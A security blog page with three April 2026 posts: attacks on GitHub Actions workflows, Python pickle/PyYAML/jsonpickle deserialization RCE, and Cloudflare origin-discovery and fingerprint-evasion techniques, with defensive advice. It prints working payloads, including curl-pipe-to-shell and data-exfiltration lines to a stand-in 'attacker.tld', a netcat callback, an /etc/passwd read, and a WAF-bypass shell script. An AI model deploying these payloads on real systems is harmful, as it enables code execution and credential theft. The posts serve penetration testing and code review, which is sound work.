24/04/2026

GitHub Actions as an Attacker's Playground

GitHub Actions as an Attacker's Playground — 2026 Edition

CI/CD security • Supply chain • April 2026

ci-cdgithub-actionssupply-chainpwn-requestred-team

If your threat model still has "the dev laptop" as the most privileged workstation in the company, you have not been paying attention. The GitHub Actions runner is. It has production cloud credentials, registry push tokens, signing keys, and the authority to merge its own code. It is the new privileged perimeter, and by every measure we have, it is softer than the one it replaced.

This is the 2026 version of the GitHub Actions attack surface. What changed, what did not, and what you should be looking for in any code review that touches .github/workflows/.

The Classic: Pwn Request

The pattern has not changed in five years. pull_request_target runs with the target repo's secrets and write permissions. If the workflow explicitly checks out the PR head and executes anything from it, the PR author gets code execution in a context with those secrets and that write access.

name: Dangerous PR runner
on: pull_request_target:
jobs:
  run-pr-code:
    runs-on: ubuntu-latest
    permissions:
      contents: write
      pull-requests: write
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # the footgun
      - name: Run script
        run: scripts/run.sh  # attacker controls this file

The attacker PR modifies scripts/run.sh, the workflow checks out the PR head, runs the attacker's script, and the script exfiltrates $GITHUB_TOKEN. Every flavour of this bug is the same. The script can be an npm preinstall hook, a modified package.json, a new test file, a conftest.py Python side-effect. "Don't build untrusted PRs" has been the guidance since 2020 and we still find it everywhere.

Microsoft/symphony (CVE-2025-61671, CVSS 9.3) was this exact pattern. A reusable Terraform validation workflow checked out the PR merge ref with contents: write. Researchers pushed a new branch to Microsoft's origin and compromised an Azure service principal in Microsoft's tenant. Microsoft's security team initially classified it as working-as-intended.

Script Injection in run: Steps

Every ${{ github.event.* }} interpolation that ends up in a shell run: block is a potential injection. The classic:

- name: Greet PR
  run: echo "Thanks for the PR: ${{ github.event.pull_request.title }}"

PR title: "; curl attacker.tld/s.sh | sh; echo ". The runner executes the shell, substitutes the title verbatim, and the command runs. Issue titles, PR bodies, commit messages, branch names, review comments, labels — all attacker-controlled, all reachable via github.event.

The fix is always the same: pass through env:, never inline:

- name: Greet PR
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Thanks for the PR: $PR_TITLE"

And yet the original pattern is the second most common bug class that Sysdig, Wiz, Orca, and GitHub Security Lab have been publishing on for the last two years.

Self-Hosted Runners

A self-hosted runner attached to a public repo is free compute for whoever submits the right PR. Unless the runner is configured to require approval for external contributors, an attacker PR runs on infrastructure inside your network.

The Nvidia case from 2025 is the template. Researchers dropped a systemd service that polled git config --list every half second and logged the output. On the second workflow run, the service exposed the GITHUB_TOKEN. Even though the token lacked packages: write, the runner itself was an EC2 instance with IAM permissions and network access to internal services.

Self-hosted runner hardening checklist, paraphrased from five different incident reports:

  • Ephemeral runners only. One job, one runner, destroyed after. Docker or actions-runner-controller on Kubernetes.
  • Never attach self-hosted runners to public repos. Ever.
  • Runner service account has no cloud IAM roles beyond what the job needs.
  • Network egress allow-list. No arbitrary outbound to the internet.
  • Runner host is not in the same VPC as production. Treat it like DMZ.

Supply Chain: Mutable Tags and Force-Pushed Actions

Actions are resolved at runtime. uses: org/action@v3 resolves to whatever commit v3 currently points at. When that tag gets force-pushed to a malicious commit, every workflow that uses the action runs the attacker's code on the next invocation.

tj-actions/changed-files (March 2025). A single compromised PAT led to poisoned actions that leaked secrets from over 23,000 workflows via workflow logs.

TeamPCP / trivy-action (March 2026). Attackers compromised 75 of 76 trivy-action version tags via force-push, exfiltrating secrets from every pipeline running a Trivy scan. The stolen credentials cascaded into PyPI compromises including LiteLLM.

The only defense is SHA pinning:

# Don't:
uses: aquasecurity/trivy-action@master
uses: aquasecurity/trivy-action@v0.24.0

# Do:
uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0  # v0.24.0

Dependabot can update pinned SHAs. Since August 2025 GitHub's "Allowed actions" policy supports SHA pinning enforcement that fails unpinned workflows, not just warns. Turn it on.

The December 2025 Changes — What Actually Got Fixed

GitHub shipped protections on 8 December 2025. The short version:

  • pull_request_target workflow definitions are now always sourced from the default branch. You can no longer exploit an outdated vulnerable workflow that still lives on a non-default branch.
  • Environment policy evaluation now aligns with the workflow code actually executing.
  • Centralized ruleset framework for workflow execution protections — event rules, SHA pinning, action allow/block lists by ! prefix, workflow_dispatch trigger restrictions.

What did not get fixed: the base pwn request pattern. If your workflow uses pull_request_target and checks out PR code to run it, the attacker still gets code execution with your secrets. As Astral noted, these triggers are almost impossible to use securely. GitHub is adding guardrails, not removing the footgun.

The 2026 Threat Landscape

Orca's HackerBot-Claw campaign (Sep 2025) was the first major automated scanning campaign that I remember seeing at scale. It systematically triggered PR workflows against public repos, looking for exploitable CI configurations. Named targets included Microsoft, DataDog, CNCF Akri, Trivy itself, and RustPython. The campaign's impact was not that it found new bug classes — it exploited the same pwn-request and script-injection patterns from five years ago. The impact was that automated scanning of CI configurations is now a thing, and the economics favour the attacker: one vulnerable repo of the Fortune 500 is worth a lot of compute time.

If you maintain a public repo with a CI pipeline, assume you are being scanned continuously by at least one such campaign right now.

What a Review Actually Looks Like

The toolchain has matured. These are the ones I reach for on engagements:

  • zizmor. Static analysis for GitHub Actions. Catches most of the common misconfigurations (pull_request_target with checkout, script injection, excessive permissions, unpinned actions). Run this first.
  • Gato-X. Enumeration and attack tooling. If you are testing your own org's exposure, this is the red-team side.
  • CodeQL for GitHub Actions. The first-party analysis, free for public repos. Good coverage for the GitHub-specific query pack.
  • Octoscan. Another static scanner; different ruleset than zizmor, catches things zizmor misses and vice versa.

The workflow-level hardening that moves the needle:

# At the top of every workflow
permissions: {}  # start from zero, grant per-job

# Per job
jobs:
  build:
    permissions:
      contents: read
    # never use pull_request_target unless you truly need secrets
    # and you do NOT check out PR code

Organization-wide: require SHA-pinned actions, restrict workflow_dispatch to maintainers, disable pull_request_target on repos that do not need it, enable CodeQL for Actions, rotate repo-scoped PATs on a schedule. These are dashboard toggles. They cost you nothing and they kill 80% of what the automated scanners exploit.

Repos created before February 2023 still default to read/write GITHUB_TOKEN. If you inherited an older org, this is your first audit. One toggle, huge blast-radius reduction.

Closing

The suits keep asking why an industry that has been publishing on GitHub Actions security for five years still ships this stuff. The honest answer is that CI/CD is owned by the engineers who are also shipping the product, and "security hardening of the pipeline" sits below every feature deadline on the priority stack. GitHub is now forcing some of the hardening through platform defaults because the community never did it voluntarily.

If you are on the offensive side, CI is still the cheapest path to production secrets in most engagements. If you are on the defensive side, your CI pipeline needs the same threat model you give your production service. Same allow-lists, same least privilege, same rotation, same monitoring. It already has the same blast radius.


elusive thoughts • securityhorror.blogspot.com

Deserialization in Modern Python

Deserialization in Modern Python: pickle, PyYAML, dill, and Why 2026 Is Still the Year of the Footgun

AppSec • Python internals • ML supply chain • April 2026

pythondeserializationpicklepyyamlml-securityrce

Every year someone at a conference stands up and announces that Python deserialization RCE is a solved problem. Every year I find it in production. 2026 is no different. The ML boom has made it worse, not better: every HuggingFace Hub download is a pickle file someone decided to trust.

This is a field guide to what still works, what the modern scanners miss, and where to actually look when you are hunting for deserialization bugs in a Python codebase.

The Fundamental Problem

Python's pickle module does not deserialize data. It deserializes a program. The pickle format is a small stack-based virtual machine with opcodes like GLOBAL (import a name), REDUCE (call it), and BUILD (hydrate state). The VM is Turing-complete. Any object can implement __reduce__ to return a callable plus arguments that the VM will execute on load. That is not a bug. It is the feature.

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl attacker.tld/s.sh | sh",))

payload = pickle.dumps(Exploit())
# Anyone calling pickle.loads(payload) executes the command.

Every library in the pickle family inherits this behaviour. cPickle, _pickle, dill, jsonpickle, shelve, joblib — they all execute arbitrary code during load. dill is worse because it can serialize more object types, so a dill payload can reach execution paths pickle cannot. jsonpickle is the one that catches people: the transport is JSON, which looks safe, but it reconstructs arbitrary Python objects by class path.

Where It Still Shows Up in 2026

The naive pickle.loads(request.data) pattern is rare now. The bugs that are still live are structural:

  • Session storage and cache. Django's PickleSerializer is deprecated but people still enable it for "compatibility." Redis caches storing pickled objects across service boundaries. Memcache with cPickle. Every time the cache is trust-boundary-crossing, you have a bug.
  • Celery / RQ task queues. Celery's default serializer has been JSON since 4.0 but the pickle mode is still there and still in use. Any broker that multiple services with different trust levels write to is a path to RCE.
  • Inter-service RPC with pickle over the wire. Internal tooling. "It's on the internal network." Right up until an SSRF in the front-end reaches it.
  • ML model loading. This is the big one. Every torch.load(), every joblib.load(), every pickle.load() against a downloaded model is a code execution primitive for whoever controls the weights. CVE-2025-32444 in vLLM was a CVSS 10.0 from pickle deserialization over unsecured ZeroMQ sockets. The same class hit LightLLM and manga-image-translator in February 2026.
  • NumPy .npy with allow_pickle=True. Still a default in old code. Still RCE.
  • PyYAML yaml.load(). Without an explicit Loader it used to default to unsafe. Current PyYAML warns loudly but the old patterns are still in codebases older than that warning.

PyYAML: The Underestimated Sibling

PyYAML gets less attention because people remember to use safe_load. The problem is every time someone needs a custom constructor and reaches for yaml.load(data, Loader=yaml.Loader) or yaml.unsafe_load. YAML's Python tag syntax is a gift to attackers:

# All of the following execute on yaml.load() with an unsafe Loader.
!!python/object/apply:os.system ["id"]
!!python/object/apply:subprocess.check_output [["nc", "attacker.tld", "4242"]]
!!python/object/new:subprocess.Popen [["/bin/sh", "-c", "curl .../s.sh | sh"]]

# Error-based exfil when the response contains exceptions:
!!python/object/new:str
  state: !!python/tuple
    - 'print(open("/etc/passwd").read())'
    - !!python/object/new:Warning
      state:
        update: !!python/name:exec

CVE-2019-20477 demonstrated PyYAML ≤ 5.1.2 was exploitable even under yaml.load() without specifying a Loader. The fix was making the default Loader safe. Any codebase pinned below that version is still vulnerable by default.

The ML Supply Chain Angle

This is the part that should keep AppSec teams awake. The 2025 longitudinal study from Brown University found that roughly half of popular HuggingFace repositories still contain pickle models, including models from Meta, Google, Microsoft, NVIDIA, and Intel. A significant chunk have no safetensors alternative at all. Every one of those is a binary that executes arbitrary code on torch.load().

Scanners exist. picklescan, modelscan, fickling. They are not enough:

  • Sonatype (2025): ZIP flag bit manipulation caused picklescan to skip archive contents while PyTorch loaded them fine. Four CVEs landed against picklescan.
  • JFrog (2025): Subclass imports (use a subclass of a blacklisted module instead of the module itself) downgraded findings from "Dangerous" to "Suspicious."
  • Academic research (mid-2025): 133 exploitable function gadgets identified across Python stdlib and common ML dependencies. The best-performing scanner still missed 89%. 22 distinct pickle-based model loading paths across five major ML frameworks, 19 of which existing scanners did not cover.
  • PyTorch tar-based loading. Even after PyTorch removed its tar export, it still loads tar archives containing storages, tensors, and pickle files. Craft those manually and torch.load() runs the pickle without any of the newer safeguards.

The architectural problem is that the pickle VM is Turing-complete. Pattern-matching scanners are playing catch-up forever.

A Realistic Payload Walkthrough

Say you have found a Flask endpoint that unpickles a session cookie. Here is the minimal end-to-end:

import pickle, base64

class RCE:
    def __reduce__(self):
        # os.popen returns a file; .read() makes it blocking,
        # which helps with output exfil via error channels.
        import os
        return (os.popen, ('curl -sX POST attacker.tld/x -d "$(id;hostname;uname -a)"',))

token = base64.urlsafe_b64encode(pickle.dumps(RCE())).decode()
# Set cookie: session=<token>
# The app's pickle.loads() runs it.

Add the .read() call if the app expects a specific object type and you need to avoid a deserialization error that would short-circuit the response:

class RCEQuiet:
    def __reduce__(self):
        import subprocess
        return (subprocess.check_output,
                (['/bin/sh', '-c', 'curl attacker.tld/s.sh | sh'],))

For jsonpickle where you can only inject JSON, the py/object and py/reduce keys do the same work:

{
  "py/object": "__main__.RCE",
  "py/reduce": [
    {"py/type": "os.system"},
    {"py/tuple": ["id"]}
  ]
}

Finding the Bug in Code Review

Semgrep and CodeQL both ship rules for this class. The high-value greps to do by hand when you land in a Python codebase:

rg -n 'pickle\.loads?\(|cPickle\.loads?\(|_pickle\.loads?\(' 
rg -n 'dill\.loads?\(|jsonpickle\.decode\(|shelve\.open\('
rg -n 'yaml\.load\(|yaml\.unsafe_load\(|Loader=yaml\.Loader'
rg -n 'torch\.load\(' | rg -v 'weights_only=True'
rg -n 'joblib\.load\(|numpy\.load\(.*allow_pickle=True'
rg -n 'PickleSerializer' # Django sessions, old code

For each hit, trace the source of the argument backwards until you hit a trust boundary. Any HTTP input, any cache, any queue, any file under user control.

Practitioner note: torch.load(path, weights_only=True) is the single most impactful change for ML codebases. It restricts the unpickler to a safe allow-list of tensor-related globals. It is not default across all PyTorch versions yet. Check every call site.

The Only Real Defense

Stop using pickle for untrusted data. Full stop. The pickle documentation has said this since Python 2. No scanner, no wrapper, no "restricted unpickler" has held up against determined gadget-chain research. There is no safe subset of pickle that preserves its usefulness.

  • Data interchange: JSON, MessagePack, Protocol Buffers, CBOR. Data only, no code.
  • Config: yaml.safe_load, always, no exceptions.
  • ML weights: safetensors. It is the format for a reason. If your model only ships in pickle, get it re-exported or run it in a jailed process.
  • Sessions, cache, queues: HMAC-signed JSON. Rotate keys. Never pickle.
  • If you must load ML pickles: a sandboxed subprocess with no network, no write access, dropped capabilities. Assume code execution and contain it. That is the threat model.

Closing

The pickle problem has been "known" since before I started writing this blog. It is still shipping in production. It is still in the default load path of half the ML libraries you import. The reason it is not fixed is because fixing it breaks the developer ergonomics that made pickle popular in the first place.

That is the honest summary. The language gave you a primitive that executes code on load, the ecosystem built on top of it, and "don't unpickle untrusted data" has been interpreted as "my data is trusted" by a generation of developers. Every pentest engagement that includes a Python backend should probe for this. Every ML pipeline review should assume model weights are attacker-controlled until proven otherwise.


elusive thoughts • securityhorror.blogspot.com

AI-Assisted WAF Fingerprinting and Why the Orange Shield Is a Filter, Not a Perimeter

Bypassing Cloudflare: AI-Assisted WAF Fingerprinting and Why the Orange Shield Is a Filter, Not a Perimeter

Offensive recon • WAF evasion • April 2026

wafcloudflarereconllm-assistedred-team

A WAF is not a perimeter. Every time an engagement starts with a target proudly sitting behind Cloudflare and the suits asking if that "covers us," I have to bite my tongue. Cloudflare is a filter. It inspects traffic that routes through it. If you can talk to the origin directly, or if you can make your traffic look indistinguishable from a real Chrome 124 on Windows 11, the filter never fires.

This post is about the two halves of that bypass in 2026: origin discovery (so you can skip the WAF entirely) and fingerprint cloning (so that when you cannot skip it, you blend in). And because everyone wants to know where the LLMs plug in, I will tell you exactly where they actually earn their keep — and where they are a distraction.

How Cloudflare Actually Identifies You

Cloudflare's detection stack has layers. Understanding them is the whole engagement:

  • IP reputation and ASN. Datacenter ranges, known VPN exits, and Tor exits start the request with a negative score.
  • TLS fingerprinting. JA3, JA4, and JA4+ hash your Client Hello: cipher suite order, supported groups, extension order, ALPN, signature algorithms. Python requests has a fingerprint. curl has a fingerprint. Chrome 124 on Windows has a fingerprint. Cloudflare knows all of them.
  • HTTP/2 fingerprinting. Frame order, SETTINGS values, HEADERS pseudo-header ordering. Akamai has been using this since 2020; Cloudflare followed.
  • Header entropy and consistency. If your User-Agent claims Chrome but you sent Accept-Language before Accept-Encoding in a non-Chrome order, that is a tell. If you sent Sec-CH-UA-Full-Version-List with a Firefox UA, Firefox does not ship that header.
  • Canvas, WebGL, and JS challenges. The managed challenge and the JS challenge execute code in the browser and return a signed token. Headless leaks (navigator.webdriver, missing plugin arrays, headless Chrome string in UA) get caught here.
  • Behavioral. Mouse entropy, scroll patterns, time-to-interaction. This is the slowest layer but the hardest to fake.

Origin IP Discovery: The Actual Win

Most real engagements end here. You do not bypass Cloudflare, you route around it. The October 2025 /.well-known/acme-challenge/ zero-day was fun, but the long-term winners are the same techniques that have worked since 2018 and still do in 2026:

Passive DNS and certificate transparency

# Historical DNS records
curl -s "https://api.securitytrails.com/v1/history/${DOMAIN}/dns/a" \
  -H "APIKEY: $ST_API"

# Certificate transparency logs — catch the cert before CF fronted it
curl -s "https://crt.sh/?q=%25.${DOMAIN}&output=json" \
  | jq -r '.[].common_name' | sort -u

# Censys: find hosts serving the target cert SHA256
censys search "services.tls.certificates.leaf_data.fingerprint: ${CERT_SHA256}"

Half the time the origin is in a cloud subnet that still serves the cert directly. Validate with a Host header override:

curl -vk --resolve ${TARGET}:443:${CANDIDATE_IP} \
  "https://${TARGET}/" -H "User-Agent: Mozilla/5.0"

If the response matches what you see through Cloudflare and there is no cf-ray header, you are at the origin.

The usual suspects for IP leakage

  • Mail servers. dig mx, then check SPF TXT records. Companies front their web through CF but send mail from the origin network.
  • Subdomain sprawl. dev., staging., old., direct., origin. — often not proxied. amass, subfinder, and crtfinder remain the workhorses.
  • Favicon hash pivot. Get the favicon SHA from the CF-fronted site, search Shodan with http.favicon.hash:${MURMUR3}.
  • Misconfigured DNS providers. Free-tier DNS accidentally exposing A records the customer thought were internal.
  • Webhooks, error reports, XML-RPC. Anywhere the app itself reaches out to the internet and leaks an IP header.

Where AI Actually Helps

Most LLM-assisted WAF bypass content online is nonsense. Throwing "generate an XSS that evades Cloudflare" at a frontier model yields the same stale payloads that got baked into the managed ruleset in 2023. The model has no feedback loop with the target, so it is guessing against the ruleset it saw in training data.

Where an LLM genuinely helps:

1. Header set generation for fingerprint cloning

Given a captured browser request, an LLM can produce a set of header permutations that preserve the UA's semantic coherence (no conflicting client hints, correct header ordering for that browser family) faster than you can script the rules. I use it to generate the consistency constraints, then feed those into curl-impersonate or a custom HTTP/2 client. The model does not send traffic; it produces the permutation space.

2. WAF rule reverse engineering from responses

Send 500 mutated payloads, capture the responses (block page, 403, 429, pass), feed the (payload, response) pairs to the model, ask it to hypothesize what substrings are being matched. It is significantly better than regex-mining by hand. Treat its hypotheses as leads, not conclusions.

3. Sqlmap tamper script synthesis

Give the model a target parameter, a block message, and a working-in-isolation payload, ask for a tamper chain. This is what nowafpls and friends do deterministically; the model just makes the chain wider.

What the model does not do is bypass the JS challenge. It cannot run v8 in its head. Every serious bypass in 2026 still goes through curl-impersonate, Camoufox, SeleniumBase with undetected-chromedriver, or a fortified Playwright build. The LLM is a combinatorics engine around those tools.

Warning from the field: Cloudflare deployed generative honeypots in 2025 that return 200 OK with hallucinated content to poison scrapers and attackers alike. If your test harness believes "200 = pass," you are getting fed. Validate with entropy checks against known-good content.

Putting It Together: A Clean Bypass Flow

#!/bin/bash
# Stage 1: origin discovery
subfinder -d $TARGET -silent | httpx -silent -tech-detect \
  | grep -v "Cloudflare" > non_cf_subs.txt

# Stage 2: cert pivot
cert_sha=$(echo | openssl s_client -connect $TARGET:443 2>/dev/null \
  | openssl x509 -fingerprint -sha256 -noout | cut -d= -f2 | tr -d :)
censys search "services.tls.certificates.leaf_data.fingerprint:${cert_sha}" \
  > origin_candidates.txt

# Stage 3: validate
while read ip; do
  code=$(curl -sk --resolve $TARGET:443:$ip \
    -o /dev/null -w "%{http_code}" "https://$TARGET/" \
    -H "User-Agent: Mozilla/5.0")
  [ "$code" = "200" ] && echo "ORIGIN: $ip"
done < origin_candidates.txt

# Stage 4: if no origin, fall through to fingerprint cloning
curl-impersonate-chrome -s "https://$TARGET/" --compressed

Defender Notes

If you are on the blue side, the mitigations are not new but they are still not deployed at most of the orgs I see:

  • Authenticated Origin Pulls (mTLS). The origin only accepts connections presenting a Cloudflare-signed client cert. Every "I found the origin IP" report dies here.
  • Cloudflare Tunnel. No public origin IP at all.
  • Firewall the origin to Cloudflare IP ranges only. The absolute minimum. Rotate the origin IP after onboarding so historical DNS records do not leak it.
  • Disable non-standard ports on the origin. Cloudflare WAF rule 8e361ee4328f4a3caf6caf3e664ed6fe blocks non-80/443 at the edge; the origin should not even listen.
  • Header secret. Require a custom header containing a pre-shared secret set as a Cloudflare Transform Rule. Stops the attacker-owned-Cloudflare-account bypass.

Closing

The WAF industry wants you to believe that a slider in a dashboard is security. It is not. It is a filter in front of the thing that is actually exposed. If you do not harden the origin with mTLS and IP allow-lists, you have an orange proxy and a footgun in the same shape.

And if you are reading this as a defender: the next time a penetration test report comes back clean because "everything is behind Cloudflare," send it back. Ask for a retest that assumes origin disclosure. That is the test you actually wanted.


elusive thoughts • securityhorror.blogspot.com

GitHub Actions as an Attacker's Playground

GitHub Actions as an Attacker's Playground — 2026 Edition CI/CD security • Supply chain • April 2026 ci-cd github-actions supply-c...